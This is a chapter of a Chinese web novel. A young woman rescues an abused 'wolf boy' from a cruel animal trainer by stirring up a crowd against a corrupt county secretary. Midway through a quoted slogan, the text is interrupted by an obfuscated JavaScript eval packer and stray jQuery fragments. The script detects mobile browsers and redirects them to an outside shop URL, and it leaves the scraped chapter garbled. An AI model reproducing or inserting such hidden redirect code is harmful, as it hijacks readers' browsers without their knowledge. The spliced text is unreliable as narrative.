28. 病秧子X狼少年
    徐知画回去之后第一时间,找大队长徐开鸿帮忙去交涉。

    徐开鸿欣然应允,认为小事一桩,还放话等好消息就行。

    没想到碰了一鼻子灰,黄二不肯放人,还说狼孩在高旷大队落了户,以后跟光荣大队没有关系。

    狼孩一个没爸没妈的孤儿,高旷大队愿意收养照顾他,吃穿不愁,那是他的荣幸。

    而且因为提前威逼利诱过,哪怕徐开鸿当场问刘白想不想跟他走,但刘白在黄二的示意下直摇头,说“不想。”

    早知道有这意外,在见到狼孩的第一天,就应该将他登记落户。

    徐开鸿直懊恼,哪至于让对方先发制人,有理也变成了无理。

    当时许下的承诺有多响亮,现在面对徐知画殷切的目光就有多心虚。

    徐开鸿视线躲闪,半晌才扯出大堆道理:

    “要不就算了,现在高旷大队发展得比我们的好,你们家也不富裕,多一张嘴吃饭,多个负担。再说,你和狼孩非亲非故,做到这个程度很可以了。你对他好,他也不见得会感恩,及时止损,且让他去吧。”

    这套话术听着好熟悉。

    但徐知画坚定地说:“他对我的意义重大,我一定会再办法救他出来。”

    听到这句话,徐开鸿忍不住打量了她几眼,猜测着难道她情窦初开,单方面看上那狼孩了?

    “你可别乱来,破坏两个大队的团结。”徐开鸿好心提醒,建议道,“要不你去请求县委书记帮助,上次他对你的印象还不错,高旷大队也是在他的管辖下,万一他肯卖你一个面子呢。”

    徐知画也有这打算。

    上次县委书记李钊说想要自己也为他作一幅画,刚好有这现成的人情请他帮忙。

    徐知画马不停蹄赶回家,拿出颜料,铺开画纸,将李钊下乡视察的场景画得生动传神,且构图巧妙,重点突出他和社员们其乐融融,尽展革命情谊。画面富有张力和视觉冲击力,让人一看就知道他是个好领导。

    此画一成,家人们是赞不绝口,一个两个纷纷举手也想要一幅肖像画。

    徐知画自是应了。

    第二天一早,还是在徐家荣的陪同下,徐知画将画包装好,往县里赶去。

    按照徐开鸿给的地址,又是一路颠簸,坐车坐到屁股痛,走路走到脚要废,来到县委大院时,两人面呈菜色,歇了好一会儿才缓过来,看着这座两进六排的平房,墙上一行红色标语格外醒目——

    【从群众中来,到群众中去。】①

    正打算找人询问一下,就见县委书记李钊和一个人说笑着从一间屋子里走出来,看样子很熟稔,在握手话别着。

    那个人转过头,走过来,徐知画瞳孔紧缩,倒吸了一口气。

    竟是黄二!

    麻烦大了!

    她心里沉甸甸往下坠。

    黄二显然也认出了徐知画,恶劣地挑挑眉,嘴角勾起一抹奸笑,语气是难以压制的得意:“好巧啊,可惜,兜兜转转,他还是落在了我的手上,别白费力了,跟我抢人,你是抢不过的。”

    “不试试怎么知道呢,谁笑到最后还不一定呢。”徐知画直盯着他说,毫无怯意。

    “那你试试。”

    黄二丝毫不觉得这个瘦弱的小姑娘能成什么大事,只觉她单纯无知无畏得可爱,他见多了这种人,试试吧,试试撞个头破血流,就会知道害怕了。

    黄二哼着歌走了。

    徐知画快速调整好表情,扬起一张笑脸,见李钊欲进屋,追上前喊道:“李书记,请等等。”

    李钊看着风尘仆仆模样狼狈的两人,打量了好一会儿,才认出徐知画,缓缓道:“是你啊,徐小同志,请问找我什么事?”

    “李书记,上次见了您和社员一起劳作的场景,我深受感动。这不,花了好长时间,终于将这般风采画下来,便马不停蹄想送过来给您欣赏。”徐知画边说边将保护画的包装打开。

    李钊眼前一亮,注意力落在画上,目光瞬间就被黏住。

    “好,好,好,画得真好!”李钊喜不自胜。

    “您能满意,我不胜荣幸。”徐知画说着漂亮话。

    李钊点头道:“你这同志,有心了,不过我不能白拿。为表对你作品的肯定,一点表示请笑纳。”

    他将几张钱票塞到徐知画的手里。

    徐知画连连摆手,露出一副为难的表情,说:“这次来找书记,除了送画,还有一事相求。”

    “哦?且说来听听。”李钊收起钱票,收起笑容。

    徐知画将遇到刘白和黄二拐走他的事,从头到尾说了一遍。

    但李钊听完后,不紧不慢地在办公椅坐下,说:“据我所知,目前这狼孩已经在高旷大队落户,你和他也不是亲人,我听说是因为你家苛待他,他才会离开,现在有好人家愿意收养他,你该为他高兴才是。”

    “不是的,你可以去我们大队调查清楚,我没有苛待他,教他学数识字、纠正言行,可能是严厉了点,但也是为了他好。黄二才是居心叵测,想要压榨他……”

    李钊抬手打断了她的话:“行了行了,我已经调查清楚,黄二管他吃喝拉撒、衣食住行,狼孩付出点劳动是再正常不过的事,那不叫压榨,那是实现自我价值。”

    “李书记,黄二是驯兽师,他现在不把人当人看,这是很大的问题……”徐知画还想再说什么,但对方却不想听。

    李钊往外走,满脸不耐烦:“你这是危言耸听,希望你不要再传播不利于团结的话。什么叫不把人当人看,没饿着他,没冷着他,那就是极好的。你去看看外面有多少人吃不饱穿不暖的,有多少人想被黄二收养都没这个机会。”

    “你但凡去那驯兽园看过,都不会说出这样的话。”徐家荣生气道,碍于他的权势到底没敢硬刚。

    “有时间我会去巡视。”李钊下逐客令,“我待会还要个会议要准备,恕不招待。”

    徐家荣还想追上理论一番,被徐知画拉住:“算了,先回去吧。”

    “那我们这趟岂不是白来了。”徐家荣忿忿道。

    “再纠缠也不会有结果,他收了黄二的好处,觉得我们无权无势,不足为惧,不会主持公道的。”徐知画说,“回去吧。”

    “啊?那就这样了?”徐家荣挠挠头,对自己的无能为力感到憋屈。

    “先这样。”

    *

    徐知画回去之后,花了一天的时间,画了关于刘白一系列的画,最后再画幅人像。

    等到天再一次亮起,吃过早饭后,收拾好画像,徐家荣和徐知画沿着走过的路,再次出发。

    来到离县委大院不远的街道上,看着人来人往,两人将一张张画在一棵大榕树下一一摆开,这阵仗引得人们纷纷驻足观看。

    徐家荣看越来越多人集聚、议论,忐忑不安地问:“这样真的行吗?”

    “没事。”徐知画给他一记放心的眼神。

    见密密麻麻的人群围成了一个大圈子,戏台已搭好,徐知画清了清嗓子,大声说起刘白的故事——

    从他出生被抛弃到如何被狼群收养,再如何在恶劣的自然环境中生存,又如何被人类发现,接着怎样模仿人类刻苦学习,就在以为苦尽甘来时,却失踪被拐,最后在坏人的压迫下,不得不为其卖命,身不由己,被折磨得不成人形。

    在徐知画声情并茂抑扬顿挫的讲述中,还有如大型漫画书般的图文供阅读,哪怕不识字也能看懂。

    而徐家荣在旁则扮演有着悲惨身世的刘白,活灵活现地演绎着,看得人的心绪随之起伏。

    感性的人们有的想到了自己食不果腹的日常,有的想到了被地主压迫的曾经,还有的想到了无父无母野草般长大的无助……

    一个两个拭泪连连。

    徐知画见气氛到了,振臂挥拳高呼:“请大家助我!解救刘白!”

    “解救刘白!”

    “解救刘白!”

    众人齐呼,群情激昂,一波又一波声浪如排山倒海般,震响天际。

    突然,一阵尖锐的哨子声传来,不一会儿,几个穿着藏蓝色制服的警察走过来,驱散人群。

    “这是在干什么?无关人员都散去!”

    这会儿人们情绪正达高潮,见到警察,更是激动,呼喊声更大了。

    “解救刘白!”

    “解救刘白!”

    “解救刘白!”

    震耳欲聋。

    寡不敌众,警察们打算先将带头闹事的人先控制起来。

    徐知画倏地从包里掏出一副伟人画像,人群犹如一滴水滴入沸腾的油锅,高喊起伟人的名字,更有人激动得潸然泪下。

    接二连三的人站直敬礼。

    看到这一幕,警察也不敢轻举妄动了。

    徐知画也惊呆了,这场景是她没有预料到的。

    之所以准备伟人的画像,是因为小时候外公外婆总是在耳边念叨着主席的事迹和伟大,还经常唱:“他为人民谋幸福,呼儿嗨哟,他是人民大救星……”②

    听得多了,徐知画对他的敬佩之情也油然而生。

    在这时代,他也是自己最熟悉的人之一,这次遇到了困难,徐知画不可避免地想到了他。

    只是真的看到他在人们心中地位的具象化,有被深深震撼到。

    那磕在骨子里的敬仰难以言喻,是如此让人感动。

    徐知画再次振臂高呼:“哪里有压迫,哪里就有反抗!”③

    人群高呼:“哪里有压迫,哪

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143620|150209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里就有反抗!”

    “……”

    徐知画示意大家安静下来后,再次喊道:“我希望县委书记能主持公道,解救刘白!”

    徐家荣很有眼色动作敏捷地将全部画收集起来,和徐知画一起往县委大院的方向走去。

    他们走动,人群也像一条条游鱼般跟着游动。

    徐家荣看着这浩浩荡荡的人群,再看她这瘦弱的背影,竟以一己之力号召起这么多人,这是他始料未及的。

    心跳如战鼓般在胸膛敲击着,徐家荣既紧张兴奋又自豪骄傲,腰挺直了些,要做她坚实的后盾。

    眼见局势越来越不可控制,警察们不可避免慌了,有个赶紧快跑去县委大院通风报信。

    收到风的李钊等几位领导站在县委大院的门口,就看到黑压压一群人气势如虹地走过来,感觉踏得地面都抖了几抖。

    【完了完了完了!!!】

    李钊心里有鬼,冷汗直冒,脚发软,哪里想到有今天这一遭。

    距离一点点缩近。

    徐知画再次站在李钊面前,像之前那样直视着他的眼睛,问道:“李书记,请问你现在有时间听听我所遇的困难和诉求吗?”

    李钊擦着额头上的话,连连点头:“当然,你有何困难,尽管说。”

    徐知画这会儿没打算和李钊撕破脸,只当是第一次来请他主持公道,缓缓诉说着案情。

    李钊也很醒目,当第一次听到那般作出惊讶的表情,当场拍案:“我和你现在就去驯兽园,看情况是否属实。”

    “我也去。”人群中走出一个穿着时髦的男子,说,“我是悟曦日报的访员,有我跟着,一定将一手消息向大家汇报。”

    程阳竟然也在。

    想到他和黄二相识,有点担忧他会歪曲事实呢。

    好在最后又有几位热心的义士也说要去。

    在大家热诚的目光中,徐知画拱手感谢致敬。

    随后李钊也安排几个人跟着,一行人往驯兽园的方向去。

    中途停下找了个地方吃饭,去到目的地已是傍晚。

    而此时驯兽园里,黄二早半个小时收到消息,急得团团转,刚刚才鞭打了狼孩一顿,根本来不及治,而且带领过好多次出去表演,也不能狡辩说不认识。

    这驯兽园暗地还有不能见光的,但愿幸运眷顾他,能躲过这一劫。

    黄二暗暗祈祷。

    随着门被拍得“啪啪”响,黄二深吸口气,硬着头皮拔开门闩。

    “欢迎欢迎,欢迎大家来参观驯兽园。”黄二搓着手讨好地笑道。

    “今天我们是来带刘白走的。”徐知画开门见山,环顾着四周。

    黄二还想用之前落户那套话术搪塞,却见一人义愤填膺地挥着拳似要砸过来,怒吼着:“你这个压迫人民的坏分子,该拉去批斗!”

    黄二大喊冤枉,一副受了委屈的可怜样:“我不是坏分子!”

    “刘白呢?让刘白出来!”那人再次催促,“你别罗里吧嗦,说那么多没用的。”

    他简直是自己的嘴替,徐知画默默给他点了个赞。

    黄二看了一眼李钊,见实在拖延不下去,回到一顶帐篷里将刘白带了出来。

    刘白面容苍白,穿着长裤长衫,低着头一瘸一拐地走过来。

    只一眼,徐知画眼泪夺眶而出。

    “刘白!”她冲到他面前,想要更好好看看。

    她的声音、她的面容就这么猝不及防出现,刘白不可置信地瞪大了眼睛,有那么一刻,觉得是自己出现幻觉幻听了。

    像无数个想念她的瞬间,是假的。

    可握住她的手这一刻,他真真切切感受到了皮肤的温热,并且,她哭得真丑,鼻涕泡都出来了,真得不能再真。

    “他的脚是自己不小心摔的。”黄二说。

    “呵——”徐知画最讨厌这种证据摆在面前还死鸭子嘴硬,见有鲜血从刘白的衣服里渗透出来,她一把掀起下摆,胸前后背那一道道纵横交错血肉模糊的鞭伤触目惊心。

    “这也是不小心摔的吗?”徐知画转头怒瞪着黄二。

    在事实面前,再如何狡辩,都不能掩盖他施虐的罪行。

    有义士见此怒发冲冠,扑过去猛砸着拳头:“你还是人吗!你简直不是个人!”

    李钊赶紧喊停:“快把他们拉开,他若做错了事,法律会制裁他。”

    黄二最后是被绑着手走的,而刘白被送往卫生院治疗。

    关于这个驯兽园的其他罪恶,还有待揭开。

    徐知画此时的心思:只想让刘白快点好起来,不要再耽误学习进度。

    但刘白看着她关切的神情,心里一阵感动,想着外面的世界太危险,以后再也不逃跑了。